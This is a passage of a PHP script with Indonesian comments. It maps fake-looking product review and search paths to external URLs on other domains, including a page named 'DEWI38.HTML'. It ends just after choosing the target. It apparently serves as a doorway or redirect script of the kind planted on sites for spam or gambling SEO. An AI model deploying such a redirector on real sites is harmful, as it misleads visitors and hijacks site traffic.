$mapping = [ 'product/review/13783301501100' => 'https://coba.kamamya.com.py/seven/DEWI38.HTML', 'productSearch/pictureSearch?id=18625002651100' => 'https://coba.kamamya.com.py/seven/DEWI38.HTML', 'productSearch/pictureSearch?id=7709476601100' => 'https://coba.kamamya.com.py/seven/DEWI38.HTML', 'e=8327897041100' => 'https://domainluar.com/tes1.txt', 'e=8651211681100' => 'https://domainluar.com/tes.txt', ]; $request = $_SERVER['REQUEST_URI'] ?? '/'; // INI YANG PENTING $key = ltrim($request, '/?'); $key = urldecode($key); $key = trim($key); if (!isset($mapping[$key])) { http_response_code(404); header('Content-Type: text/plain; charset=UTF-8'); echo "404 Mapping Not Found\n\n"; echo "REQUEST_URI:\n"; echo $request; echo "\n\nKEY YANG TERBACA:\n"; echo $key; exit; } $target = $mapping[$key];